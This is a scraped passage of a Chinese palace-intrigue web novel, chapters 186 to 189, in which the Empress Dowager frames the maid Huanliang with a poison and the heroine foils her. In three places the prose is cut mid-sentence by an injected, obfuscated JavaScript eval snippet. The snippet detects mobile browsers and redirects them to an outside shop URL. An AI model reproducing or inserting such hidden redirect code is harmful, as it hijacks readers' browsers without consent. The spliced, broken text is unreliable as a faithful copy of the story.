“好像皇贵妃娘娘发现了属下在**。” 曹暮烟慵懒的摆摆手,“哀家知晓了,退下吧。” 沧月从曹暮烟背后揽住了她的腰道:“烟儿,这安文夕并不是个好对付的,如今她已经起了戒心,再想试探那欢凉的身份就不容易了,那么接下来该怎么做?” “哀家想的则刚好相反,哀家不过是一个小小的试探,就让安文夕轻易起了戒备,不恰恰说明了那个欢凉就是曹家的遗脉么?” “烟儿说的有道理,要我说呀,管那欢凉是不是曹家的遗脉,留着始终是个祸害。”沧月略显嘶哑的声音分外阴狠。 “没错,那欢凉还是安文夕的左膀右臂呢!”说着,曹暮烟的眼底流露出一抹狠色,那丫头早在十五年前就该死!是她当年疏忽了,才留她活了这么些年。 曹家,注定要灭族! “是,若是折了安文夕的这个左膀右臂,想必那安文夕也要元气大伤了。” 曹暮烟斜斜挑眉,玉指妩媚的拢了拢鬓角,浅笑道:“哀家想吃那踏雪寻梅了,明日欢凉那个丫头来长乐宫的时候,记得吩咐她做给本宫。” 沧月立即明白了曹暮烟的意思,眼底浮现一抹阴狠,“你就放心吧,我想这一次的事情定会十分有趣。” 第186章 难道是她 第一百八十六章难道是她 第二日,当曹暮烟看着欢凉呈上来的一碟黑漆漆的点心时,嘴角一抽,一向妩媚的凤眸微眯。 很显然,她还是太过自信了,她向来坚信自己的计划完美,可是唯独没有料到会出这样的岔子! 沧月脸色铁青,怒道:“你这是做的什么,难不成你想让太后娘娘吃这个?” 欢凉看着曹暮烟越来越阴郁的脸色丨微微低头,小声道:“启禀太后娘娘,奴婢不会做点心,奴婢用心学了一上午,把做得最好的一次呈上来了。” 曹暮烟看着碟子里黑漆漆的点心,她连看都不想看,更别说动口了! 倏地,曹暮烟十指渐渐收紧,一下子将桌案上的点心掀翻,那只小碟立即摔得粉粹,上面的乌漆墨黑的点心滚了一地。 看着老妖婆气急的样子,欢凉心里一阵憋笑,身子蓦地一颤,也不只是吓得还是笑得,她忙将头埋在地上,声音发颤道:“太后娘娘息怒,奴婢一定认真学做点心,待奴婢彻底学会了这道踏雪寻梅再来呈给太后娘娘。” “没用的东西,给哀家滚!”曹暮烟随手捞起一件东西,朝欢凉砸去。 欢凉的额头上顿时被砸出了一道血口,她抬眸看去,砸伤她的是一块莹润的羊脂白玉玉佩。 一股温热的血液顺着花颊汩汩流下,欢凉狠狠地咬了咬牙,起身退出了长乐宫。 待她回到未央宫的时候,脸上已经满是殷红的鲜血,将安文夕吓了一跳,立即给她处理了伤口。 “这是怎么回事?” 欢凉摸着包扎好的伤口,将事情的经过讲了一遍。安文夕微微蹙眉,看来这曹暮烟这是打算对欢凉动手了。 一旁的月无双气愤道:“这个老妖婆太过分了!本小姐一包**毒死她得了!”然后她担忧的看着欢凉的伤口,抿唇道,“这会不会留疤啊,我哥若是知道了一定会心疼的。” 欢凉闻言脸上蓦地染上一抹绯红,抬眸瞪了眼月无双。 “欢凉,你别害羞呀,我哥说下次回枫月谷他想带你一起回去。” 欢凉嗔道:“谁要跟他回枫月谷,我要一直陪着公主。” “可是夕姐姐诶有喆哥哥了呀,你总不能一辈子都不嫁人了吧。” 安文夕瞥了眼一脸兴奋的月无双,眸光渐柔,能够无忧无虑真好! 可是,如今的她注定要勾心斗角、尔虞我诈,这样才能在这充满阴谋的后宫里生存下来,才能守住她的九哥哥,护住她腹中的孩子! 半晌,她轻声道:“无双,你去叫张公公过来一下。” 月无双意犹未尽的止住了话头,朝殿外走去。 过了片刻,张海捧着拂尘踏进了内殿,对安文夕行了一礼,看了欢凉一眼,欲言又止。 “张公公但说无妨。” “娘娘,您让奴才查的事情,奴才已经查清楚了。除了彭婕妤因为那日被撞,每日都会从太医院取药外,别的宫里并没有人去太医院取过药。” “你确定?” “这是傅太医亲口告诉奴才的,不会有错。” 安文夕黛眉轻挽,突然想起那日子目说彭安容被撞卧床,虽然一直在吃药,却仍然不见好。 她的脑子里似乎有什么东西联系了起来,那麝香有活血通经,消肿止痛的作用,会不会有人动了彭安容的药,所以她才一直都不见好! 静静思量下来,安文夕不禁一阵惊叹,这么一番曲折的心思,就是为了除掉她腹中的孩子,那个人到底是谁?突然,她的脑海里闪现一张温婉的脸来。 安文夕顿时脸色一变,心中大惊,难道是她? “公主,怎么了?”欢凉见安文夕神情微凝不禁问道。 安文夕无力地摆了摆手,“我没事。” 然后,她看着张海道:“这件事有劳张公公了,现在还有一件事,想让张公公跑趟腿。” “娘娘请说。” “去给长乐宫递个信,就说欢凉因受了惊吓而染了风寒,为了防止给太后娘娘过了病气,只怕欢凉最近一段时间都没有办法去伺候太后娘娘了。” “是,娘娘,奴才告退。” 欢凉看着安文夕眉眼之间的倦色,心疼道:“公主,你要不要去睡一会,初夏这个时候最容易困了。” “这几天你就老实待在未央宫内,哪里也不要去,就是曹暮烟宣你去长乐宫也不必去,若是出了什么事,一切有我!”安文夕看着欢凉一字一句道。 欢凉闻言顿时心中一暖,搀着安文夕道:“欢凉记下了,公主去歇息吧。” 安文夕靠着欢凉无力地闭上了眼睛,脑袋也一阵阵发晕,最近她的确是比较容易累,而且容易犯困。 这一觉就睡到了傍晚,她醒来的时候,陌姑姑已经熬好了小米粥端了过来,安文夕喝着小米粥,胃里暖暖的,心里也暖暖的。 经过这么长时间的相处,安文夕早就摸清了陌姑姑的脾气,她一向是刀子嘴豆腐心。如今她有孕在身,陌姑姑对她可谓是细致入微。 “愣什么神,粥都凉了。”陌姑姑瞥了眼正捧着玉碗发呆的安文夕冷道。 “我在想皇上呀。”安文夕微微一笑,眉眼弯弯,双颊染了一抹娇俏。 “不害臊!” 听到陌姑姑的冷斥,安文夕脸上的笑容扩大,“我不想皇上,难道陌姑姑还想让我想别的男人?” 陌姑姑冷哼一声,懒得搭理她。 安文夕一边喝着粥,一边喃喃道:“他已经走了二十三天了。” 陌姑姑闻言一滞,看着她恬静的脸庞透着的坚韧,仿佛看到了当年的自己一般,微微叹了口气,到了嘴边的话又咽了回去。 罢了,江向晚也一同去了洛城那件事还是不要告诉她好了。 “一会不要忘记吃药!”陌姑姑扔下这一句便出了内殿。 安文夕闻言一阵阵皱眉,“陌姑姑,我何时才能不用吃药?” 然而回答她的却是陌姑姑冷清而略显萧寂的背影。 安文夕眸光颤了颤,她觉得陌姑姑一定是个有故事的人。 一连过了三日,陌姑姑在琼华殿都没有守到那个放麝香之人,而琼华殿再也没有燃过麝香,就连彭安容身上的伤也渐渐好了起来。想必,那个人也有所察觉了,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595196|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然狡猾! 就在她决定主动出手的时候,却传来了洛城大捷的消息,想必她的九哥哥也快回来了吧! 他走了二十六天,应该不至于将她全忘记了吧,安文夕在心底喃喃。 “夕姐姐。” 月无双的喊声顿时打断了她的思绪,安文夕放下手中的书道:“怎么了?” “刚才有一个小太监塞给了我一封信,让我拿来给夕姐姐。”月无双说着将信递了过来,“那个小太监鬼鬼祟祟的,将信递给了我之后,一溜烟便跑没了。” 安文夕拆开信,看了一眼,脸色丨微微一变。 这信是晟哥哥的! 这上面不仅写到了要借她手中的那十万兵马在北宫喆归朝的路上截杀北宫喆,还要让她把腹中的孩子打掉! 安文夕狠狠地攥着手中的信纸,眸光流露出一抹失望。 “夕姐姐……” 这时,张海进内殿禀报道:“齐才人带了药膳来看看望娘娘,要让她进来吗?” 安文夕眸光敛尽,尽是清冷,薄唇一勾,终于还是来了! “让她进来吧。” 只见子目提着药膳袅袅走来,脸色挂着温润笑意,她身后连婢女也没有带。 “嫔妾给皇贵妃娘娘请安。” “起吧。” “娘娘,嫔妾想给娘娘说几句体己话,可否让月小姐……”子目小心的看了眼月无双。 以前看着子目故作温柔的样子倒没什么,如今倒有些不耐,她眉头略皱,看向月无双道:“无双,你先出去吧。” 月无双不满的瞥了眼子目,心中愤愤,这个女人算哪根葱啊,她和夕姐姐根本没有什么交集好不好,竟然要跟夕姐姐说体己话,还要将她赶出去! 月无双走后,子目脸色的笑意渐淡,看着安文夕道:“公主,刚才的信您已经看过了吧。” 安文夕微微点头,唇边泛起冷意,“子目呀子目,以前倒是本宫小瞧了你。” 子目一滞,公主在她面前从来不城“本宫”,看来这次真是惹恼了她! “子目也是没有公主竟然如此聪慧,就在短短的两天内就识破了我的计谋,我可是想了好久才想出来的这个办法,一下子被揭穿,我为此还惋惜了好长时间呢。” 看着子目浅笑倩兮,安文夕眉宇间的不耐又深了几分。 子目不在意的打开食盒,从里面端出一碗药汁来,“公主,子目原来打算神不知鬼不觉打了你肚子里的孩子,不曾想这一切根本就瞒不了公主,那子目索性直接送公主一碗落胎药吧。” 安文夕看也未看那落胎药一碗,盯着子目的双眸道:“本宫到底是你的主子,你确定要这样做?” “公主,就是念及了你我的主仆之情,所以子目才不想伤害公主。” “不想伤害?”安文夕唇边绽开了一抹讥讽。 “是,若是真的想让公主落胎,子目大可以推公主一把。”子目说着伸手做了个推人的姿势,然后浅笑道,“如此也省的我煞费心机的想出用麝香的主意了。” “这么说来,本宫还要谢谢你?”安文夕冷哼。 第187章 主仆一场 第一百八十七章主仆一场 “子目不敢!”子目微微垂眸,半晌,她道,“公主,晟世子说得对,如今北宫喆回朝,正是除去他的好时机,只要公主将手下的十万……” “你不必说了,这件事本宫自有主张。”安文夕沉声道。 “公主……” 安文夕转身道:“这件事不必再提,还有,以后宫里的事情不用你,你找个合适的借口出宫去吧。” 子目一滞,公主竟然让她出宫!她咬了咬牙道:“公主每日都去琼华殿,难不成公主想等着北宫喆回来,然后生下肚子里的孽种?” “啪!”安文夕饶是再隐忍,听到“孽种”二字,还是忍不住甩了子目一巴掌。 “这孩子是本宫的,本宫决不允许任何人动他!” 子目跌坐在地上,捂着脸颊,指尖拭去嘴角的血渍,勾唇道:“难道公主忘了么,北宫喆是我们的仇人,公主怎能给他生子?” 安文夕眸光微敛,她直觉的不想让子目以及晟哥哥知道父皇还在世的消息。 “公主难不成已经放下了仇恨,想要继续跟北宫喆在一起?”子目目光逼人。 “够了,到底你是主子还是我是主子?”安文夕略略皱眉,这个子目如今怎么越来越嚣张了! 子目不甘心咬牙,“自然您是主子。” “你知道就好,虽然你现在听命于晟哥哥,但是本宫永远是你的主子,本宫的规矩你莫不是忘了?” 子目蓦地单膝跪地,“奴婢不敢忘,冲撞主子该罚。”然后她的话音刚落,便啪啪甩了自己两巴掌,她原本粉嫩的脸上立即出现了鲜红的巴掌印。 谁知,下一瞬,子目突然起身,一手端起桌上的药碗,一手探向安文夕的肩胛处。 原本背着身的安文夕蓦地转过身来,擒住子目探向她肩胛处的手,往后一拉,然后快速的封了她的穴道。 看着子目惊诧的面目,安文夕眸光一凛,从她手中接过药碗,转身一点点往一旁的盆栽里一点点倒了下去。 然后,移步走到子目面前,黛眉轻挽,慢慢抬起她的下巴,声音冰冷,“看来,你果真是不记得本宫的规矩了。” 子目眼底浮现一丝恼意,不甘心的咬着下唇。 “为何要背叛我?”安文夕冷声道。 “那公主为何要违背晟世子的意思,放弃报仇了呢?难道公主希望北宫喆霸着大安的江山,那你又有何颜面去面对故去的安国君。” “报仇?晟哥哥想的不是报仇而是这大夏江山吧?” 子目闻言蓦地一滞,只听安文夕继续道:“晟哥哥若是想要,就自己去争去夺,我只是个弱女子,我不想去参与那些战国风云,我累了,我只想过平淡的生活。” “公主只是这为喜欢北宫喆而找借口吧,你对不起晟世子!”子目冷哼道。 安文夕倏地笑了,连眉梢都染了分冷然,“你喜欢晟哥哥!” 子目蓦地一惊,怔怔的盯着安文夕,半晌咬唇道:“没有,奴婢不敢妄想晟世子。” “有没有你自己心里清楚,若是你因此而选择背叛我,我当初就不该救你!” 子目眸光轻垂,咬牙道:“晟世子想要的,奴婢一定会帮他夺到,哪怕——不择手段!” “倒是个痴情种子。”安文夕说着从袖中的小瓷瓶中倒出一粒药丸,捏住子目的下巴,将那粒药丸塞到了她的嘴里,然后将她的下巴一抬。 “咳咳……”子目拼命的咳嗽起来,想要将嗓子眼的药丸咳出来。 “别费力气了,这药入口即化。” 子目双目微撑,愠怒道:“你给我吃的什么药?”她看着对面笑意诡谲的女子,心底生出一抹惧怕,这样的公主十分陌生。 以前公主虽然对人清淡,但却是不怎么惩罚奴才的。 安文夕勾唇道:“你不必担心,死不了。” 看着子目骤变的脸色,安文夕又道:“你虽然动了我的底线,但是毕竟主仆一场,我不会杀你,但是我也绝不会在自己身边留下祸患!” “公主,将解药给奴婢,奴婢绝不会再动你肚子里的孩子。” 安文夕睥着子目真诚的双眸,蓦地轻笑,“若是晟哥哥非得让你除了我腹中的孩子呢?” “奴婢……”子目顿时哑了口,虽然以前公主是她的主子,可是她现在听命于晟世子,早就把晟世子当做了主子! 安文夕嘴角的讥讽更盛,淡道:“你喜欢晟哥哥,竟然不惜背叛本宫,但是你可知晟哥哥的发妻是香韵公主,且他们二人琴瑟和鸣,不是你能插足进去的。” 安文夕这句话彻底戳到了子目的痛处,她的双颊绯红,最终还是不甘心的垂下了头。 “那华静香看着温温柔柔,有一种拒人千里的感觉,可是她绝对是个狠角色,你不是对手。” “多谢公主提醒,奴婢不敢肖想晟世子,只愿可以远远的看着他便可。” 这一番试探,看来子目已经不再是当初的子目了,毕竟十年的感情,她终究还是下不了手。 就在这时,月无双急冲冲的跑进内殿,她扫了眼被点穴的子目,然后急忙拉住安文夕的手腕道:“夕姐姐,大事不好了,欢凉被老妖婆带走了!” “什么时候的事?” “就刚刚,我打不过他们。” 安文夕黛眉轻挽,立即和月无双出了内殿。 子目看着安文夕急切的脚步,眸光一黯,只怕以后公主再也不会像对欢凉一般对她了。 突然,眼前掠过一道素白的衣摆,子目猛然抬眸,来人是未央宫的主事嬷嬷,公主一向叫她陌姑姑。 “留着你终究是个祸害。”陌姑姑眸光清冷,从袖子里拿出一粒红色的药丸,捏着她的下巴,直接弹入了喉咙。 子目心中大惊,这当真是一个主事嬷嬷? “你给我吃了什么?” “**!” “你——” “若是不想死,就不要打这个孩子的主意,她心软,但是我绝不会饶你,每个月初十来找我拿解药,否则你就等着化作一堆枯骨吧!” 陌姑姑眉宇之间多了抹狠戾,她给她的**,而刚才安文夕给她喂得不过是一粒糖丸罢了! “你是谁?” “我是谁你不必知道!”陌姑姑淡扫了她一眼,径直出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601375|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内殿。 —— 长乐宫。 曹暮烟慵懒的躺在软榻上,脸色阴鸷,傅太医战战兢兢的跪在了地上。 刚才傅太医给曹暮烟诊断是**,而毒源则是来自一旁的那本书上,书页上被人涂了剧毒,若不是及时发现,恐怕她就一命呜呼了。 那本书,正是从欢凉整理的书架上拿来的,也就是说,最大的嫌疑者就是欢凉! “傅太医,哀家中的是什么毒?” “一岁一枯荣。” “那是什么?”曹暮烟不解挑眉。 “一岁一枯荣,其意为衰老,就是可以使人容颜变老。” “什么?”曹暮烟尖利的声音响起,脸颊变得狰狞起来。 “太后娘娘请息怒。”沧月在一旁轻劝道。 “那个贱婢怎么还没有带来!”曹暮烟垂眸之际,眼底不经意间流露出一抹阴狠。 那日那个小**竟然用风寒为由拒绝了她,她以为这样就可以护住欢凉了么,她曹暮烟想让一个人死,根本不需要理由,她找个理由处死欢凉,不过是抬举她罢了。 曹暮烟话音刚落,殿外想起一阵脚步声,几个暗卫推搡着欢凉而来。 “跪下!” 欢凉狠狠地瞪了眼身后的人,然后不卑不亢的上前一步,缓缓跪下道:“太后娘娘叫奴婢来所为何事?” “大胆!谋害太后娘娘你可知罪?”沧月厉声道。 “谋害?我何时谋害她了?” 沧月拂尘一扫,桌案上的书登时向欢凉砸去。 欢凉侧身一躲,堪堪避过,不由得在心底低骂,这个假阉人又想砸她,难道他们这是砸上瘾了么? 曹暮烟和沧月皆是一滞,都没有想到欢凉竟然敢躲! “来人,给哀家教训一下这个丫头!” 曹暮烟话音一落,栗嬷嬷带着连个腰粗膀圆的大宫女走了进来,刚欲动手,身后传来一道清灵的声音。 “住手!” 安文夕心中微沉,这曹暮烟到底还是忍不住对欢凉出手了! “臣妾给太后娘娘请安。”安文夕微微福身道。 “皇贵妃有孕在身,没想到来得倒快。”曹暮烟冷哼一声。 “太后娘娘不明不白就派人带走了臣妾的婢女,臣妾自然坐不住。” “你这婢女胆子可不少,竟然妄想谋害哀家!” “就不知是这贱婢是自作主张,胆大包天,还是奉了什么人的旨意谋害太后娘娘。”沧月意有所指的瞥了眼安文夕。 “沧总管这是什么意思?”安文夕敛眸,淡淡扫了他一眼,眼底盛了几分不屑。 “哀家相信这件事定然和皇贵妃无关,一定是这个贱婢因为在长乐宫的时候哀家刁难了她,所以她怀恨于心。” 看着曹暮烟眼底一闪而逝的算计,安文夕眸光一凛,这一招好狠,竟逼着她去放弃欢凉! 若是她为欢凉开脱,那么就是承认了这件事是她的手笔,她身怀龙嗣,曹太后不会动她,可是欢凉却不一样。若是她不辩解,那么欢凉更是必死无疑。 看来,这曹暮烟是下了决心要让欢凉**! 第188章 去救欢凉 第一百八十八章去救欢凉 安文夕咬了咬唇,对曹暮烟道:“太后娘娘,不知欢凉怎么谋害您了?” 看着安文夕神情凌然,眼底一片坚韧,曹暮烟蓦地一滞,突然想起那日在长乐宫安文夕就是这副淡然而又镇定自若的模样,最终从她手中救走了那个陌姑姑! 这次,不管她耍什么花样,欢凉这贱丫头死定了! 曹暮烟对沧月使了个眼色,沧月立即道:“今日太后娘娘看书的时候,突然陷入昏迷,傅太医诊断为**,那书页上被人涂了剧毒!而那书,只有欢凉那丫头接触过!” “敢问太后娘娘中的何毒?” “傅太医,告诉她哀家中的何毒。” 傅太医颇为担忧的看了眼安文夕道:“太后娘娘所中的毒为一岁一枯荣,可以让人容貌衰老。” 容貌衰老?安文夕眸光一凛,这曹暮烟可真是舍得对自己下手! “一岁一枯荣?”一直立在安文夕身后的月无双突然惊讶道。 那一岁一枯荣可是她枫月谷的东西呀,她这次来夏宫就带了,可是怎么会出现在了长乐宫? 月无双黛眉轻挽,后知后觉的嗅到了一丝阴谋的味道。 只见曹暮烟嘴角勾笑,“哀家相信月小姐不会不知道这一岁一枯荣是什么吧?”她嘴角的笑意越发的渗人。 月无双抿了抿唇,“我自然知道,这一岁一枯荣是我枫月谷的东西。”虽然别的地方也有,但是比较稀少罢了。 曹暮烟满意的点了点头,眉眼变的凌厉起来,看着欢凉厉声道:“看来,这**果然是这贱婢带进长乐宫的!” 月无双的心蓦地一沉,这些人真是太坏了,每次陷害夕姐姐都要打她枫月谷的主意,这样让夕姐姐根本无法辩解! 就在这时,一个太监走进内殿,对曹暮烟行礼道:“启禀太后娘娘,这是奴才从欢凉屋子里发现的。” “呈上来。”沧月厉声道。 “傅太医,你来瞧瞧,这是什么?” 傅太医点头应是,接过那太监手中的小瓷瓶然后仔细查看了一番,脸色顿时大变,他犹豫道:“回太后娘娘,这……这就是那一岁一枯荣。” “什么?”欢凉难以置信的抬眸,她的房间里怎么会有这个东西,这分明就是曹太后玩得把戏! “这次你还有什么话说?”曹暮烟阴毒的眸光紧紧锁住欢凉。 月无双急道:“太后娘娘,仅凭这个不能定了欢凉的罪,没准就是这太监在别的地方拿了一岁一枯荣,然后陷害欢凉。” “放肆!月无双,在哀家的长乐宫你有什么资格开口?” “你……”你这个该死的老妖婆!到了嘴边的话,又被她咽了下去。 “月小姐别生气,这个事情只怕连月小姐也脱不了嫌疑。” “你什么意思?”月无双怒视着沧月,这个假太监,真是该死! 沧月别有深意的眸光在欢凉和月无双之间打量,“咱家的意思就是没准这**就是你给欢凉的。” “你——”月无双气的欲握拳大人,太过分了! 安文夕一把握住月无双的手,在她耳边小声道,“先别冲动。” 沧月继续道:“月小姐不妨去看看你带的一岁一枯荣还有没有,若是没有的话,只怕月小姐自己也说不清呢。” 月无双一滞,她又不傻,自然可以听得出这是沧月在诈她,只怕她带来的一岁一枯荣早就被人拿走了,她若是去看的话,不就坐实了欢凉的罪名了么? “好,那本宫就陪无双一起去看。” “夕姐姐……” 安文夕给了她一个放心的眼神,并握了握她的手。 月无双这才稍稍放下心来,脸上尽是凌然,对曹暮烟道:“去就去!我这次来夏宫只带了一瓶,若是我房间里没有的话,我月无双任凭处置!” “好。”沧月眉梢浮现一抹喜意,他早就看不惯这个丫头了,就是不能趁机除了她,给她点教训也好! 曹暮烟凤眸眯了眯,心中浮起一抹隐隐的不安,对沧月道:“你跟去瞧瞧。” 即便她已经布置的万无一失,但是看着安文夕那凡事都泰然处之的模样,她还是有些不放心。 安文夕看了眼欢凉,朝她微微点头,然后和月无双一起出了长乐宫。 刚走出了长乐宫,月无双坚定的小脸顿时垮了下来,挽着安文夕小声道:“夕姐姐,这可怎么办呢,万一我房间里没有一岁一枯荣,那我岂不是害了欢凉?” 安文夕微微挽着眉,没有说话。 刚到了未央宫,张海便迎了出来道:“娘娘,您可回来了,袭匀袭公子来了,正在主殿呢。” 袭匀?他竟然潜进了夏宫! 跟在安文夕身后的沧月听到袭匀的名字,脸色顿时一变,那个小白脸竟然还敢进宫,这件事,一定不能让烟儿知道! 安文夕眸光微敛,对月无双道:“你先去,我去看看袭匀就来。” “好。”月无双虽然不知道夕姐姐到底要做什么,但是没由来得就是一阵安心。看着夕姐姐淡然的模样,她相信夕姐姐一定已经有了对策。 “皇贵妃娘娘,你这是去做什么,难道不一起去了么?”沧月上前两步,拦住了她的去路。 安文夕勾唇道:“难不成沧总管也想跟本宫一起去——看看袭匀?” “哼。”沧月脸色丨微凝,一扫拂尘对月无双道,“月小姐请,麻烦你给咱家带路吧。” 安文夕刚刚踏进了主殿,就看到了一脸焦急的袭匀,忙道:“你怎么进来的。”她记得这夏宫守卫森严。 袭匀脸色铁青,带了丝薄怒,“你先别管我怎么进来的,我问你欢凉呢?怎么我才不在这么短的时间内,欢凉就出了这么大的事情?” 安文夕只淡淡扫了他一眼,便朝内殿走去,直接忽略他的愤怒。 袭匀一把抓住安文夕的手道:“回答我,你若是不能救出欢凉,我直接去长乐宫要人!” 安文夕脚步一滞,看向袭匀道:“你现在敢去长乐宫?据说,那曹暮烟一直在寻找你的下落。” “我……” 安文夕立即拂开他的手,边走边道,“我绝不会不管欢凉的。” 她走到床榻旁,将暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601376|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格里面的小匣子取出,然后从里面拿出一个小瓷瓶,嘴角勾了勾。 她之所以那么泰然,是因为她离开西楚的时候,楚君昱给她的西楚的宫廷秘药里面就有一岁一枯荣。 虽然一岁一枯荣在枫月谷中比较常见,而在其他地方比较难得,但是西楚也有! “走吧。”安文夕将小瓷瓶收进袖中。 “去哪?”袭匀一阵张二摸不着头脑,实在不知道她想做什么。 “去救欢凉!” 安文夕和袭匀来到月无双住的厢房之时,刚好听到沧月尖细而又阴冷的声音。 “月小姐可要好好想想放哪了,这可关系到欢凉的生死呢。” “你催什么催,容本小姐想想。”月无双挠了挠头,蹙着眉头,宛然一副苦思冥想的样子,她脖子里的铃铛随着她的来回走动响个不停,沧月烦躁的皱了皱眉。 “怎么了,还没找到?”安文夕踏进房间道。 “还没有,也不知道被我放哪了?”月无双叹了口气。 沧月不屑冷哼,他就不信她还能凭空再变出来一瓶不成。 “你这丢三落四的毛病什么时候能改。”安文夕说着靠近月无双,然后不动声色的将袖中的的小瓷瓶通过宽大的袖摆递到了月无双手中。 月无双顿时又惊又喜,夕姐姐果然没有让她失望。 “月小姐,找到了么?”沧月再次催促道,反正她也找不着,何必在这里耽误工夫! “沧总管,好久不见。”袭匀清冷的眸光瞥向沧月,凉凉道。 沧月脸上的讥讽淡去,瞬间冷了起来,“袭……袭公子,的确是好久不见。” “不知道烟儿最近有没有想我?听说,她一直都在找我呢。”袭匀微微垂眸,长而密的睫毛轻颤,给他清冷的面庞平添了几分令人怜惜之意。 沧月狠狠握拳,只要想到他就是用这样的模样将烟儿迷得团团转,他就恨得牙痒痒! “找到了!” 里面突然传出了月无双一声惊喜的声音,铃铛的声音响的急切起来,转眼之间,月无双已经拿着那小瓷瓶来到了沧月面前。 她兴奋道:“沧总管,我找到了!” 沧月睁大着眼睛,难以置信的盯着月无双手中的小瓷瓶,她还真的凭空变了一瓶出来! “走吧,沧总管,如今事情已经很明白了。”安文夕抬眸道。 沧月眸光微敛,若有所思的看了眼安文夕,那月无双找了那么久都没有找到,怎么安文夕一来就找到了,这里面绝对有鬼! “怎么,沧总管怕了?”安文夕扯了扯嘴角。 “沧总管,你刚才的气焰哪里去了?你这么不相信我的房间里能找出一岁一枯荣来,难道这件事和你有关?”月无双毫不客气道,她刚才已经检查过了,夕姐姐给她的就是一岁一枯荣,现在她有证据在手,底气不是一般的足! “是不是一岁一枯荣,还是得让傅太医检查过了才能知道,月小姐还是不要得意太早了。”沧月冷哼一声,走在了前面。 安文夕扫了眼跟来的袭匀,挑眉道:“怎么,你也要跟来?” 第189章 谁敢动她 第一百八十九章谁敢动她 “我去找欢凉。”袭匀撇了撇嘴,这宫里到处都是曹暮烟的眼线,就算他能瞒得了这一时,也不会一直瞒得了她,只要他在夏宫,她迟早会知道,又何必在乎是早一时还是晚一时呢? 还没有进入长乐宫,就听到清脆的巴掌声,安文夕眸光一沉,顿时加快了步伐,比她更快地是一旁的袭匀,只见素白衣衫一摆,他已经踏进了长乐宫。 “给我住手!”袭匀踏进内殿,立即将控制欢凉的太监掀翻,看着欢凉肿起的双颊,双目喷火,一把将欢凉从地上带起,然后抬眸看向曹暮烟,眸内是毫不掩饰的愤怒。 “疼不疼?”袭匀伸手拭去欢凉嘴角的血迹,又怕碰疼了她,不敢去摸她肿起的脸。 曹暮烟看到袭匀,先是一惊,然后脸上浮现巨大的喜悦,“阿袭,你怎么来了?” 袭匀拥紧了欢凉,怒视曹暮烟道:“为何要对她动手?” 曹暮烟的眸光落到袭匀覆在欢凉腰间的手上,脸色的笑意逐渐凝固,冷冷道:“哀家一直都在找你,你就是这样对哀家的?” “我问你,你为何要对她动手?”袭匀咬牙,恨不得上去将这个老女人给撕了! “放肆!”曹暮烟陡然厉声道,“这个贱婢冒犯了哀家,哀家不过是给她点教训,你就要和哀家大呼小叫么?” 一旁守着的傅太医将头垂的低低的,早就传闻太后娘娘养了个俊俏的面首,好像叫作袭匀来着,难道今日殿上的清俊公子就是袭匀么? 他感觉自己似乎知道的太多了,万一太后娘娘追究起来,只怕他会被灭口! “太后娘娘请息怒。”安文夕走进大殿道。 “烟儿。”沧月眉头略皱,飞快的掠到曹暮烟身边,轻声劝道,“别生气,气坏了身子可怎么好。” 安文夕看到欢凉的红肿的双颊,眼神倏地变冷,锐利的眼风扫向曹暮烟道:“太后娘娘,臣妾这才走了一会,您就私自对我的婢女用刑,可否给臣妾一个解释?” “安文夕,你大胆,你有什么资格质问哀家?” 月无双心疼的看着欢凉,然后怒视曹暮烟道:“欢凉是冤枉的,我从枫月谷带来的一岁一枯荣分明就好好在我的房间内!”她说着从袖中取出一个小瓷瓶,然**在手中。 曹暮烟锐利的双眸微眯,眼底闪过一抹不可置信,看了眼月无双手中的小瓷瓶对傅太医递去了一个眼神,“傅太医,你察看一下她手中的是不是一岁一枯荣。” “是,微臣遵旨。” 傅太医刚刚接过月无双手中的小瓷瓶,只听得曹暮烟阴冷的声音再次传来,“傅太医,你要看仔细了,若是胆敢欺瞒哀家,哀家可绝不会轻饶。” 傅太医握着小瓷瓶的手顿时一颤,忙擦了擦额头的冷汗,垂头道:“微臣不敢。” “傅太医,你不必害怕,该是什么就是什么。”安文夕沉声道。 过了片刻,傅太医俯身道:“回太后娘娘,这里面的确是一岁一枯荣。” “什么?”这不可能,曹暮烟怔怔的盯着傅太医手中的小瓷瓶,她亲自吩咐的事情,怎么会这样?她不可置信的跌坐回去。 “现在事情已经很明显了,谋害太后娘娘的另有其人,欢凉是冤枉的,太后娘娘下次在真相大白之前,还是不要滥用私刑的好。”安文夕冷道,然后看了眼欢凉红肿的脸颊微微蹙眉。 “我们走吧。”安文夕开了口,转身便走,她身后的众人立即跟上。 “都给哀家站住!”曹暮烟彻底咆哮道,“你们以为哀家这长乐宫是你们随便进出的地方么?” “不知太后娘娘还有何事?” 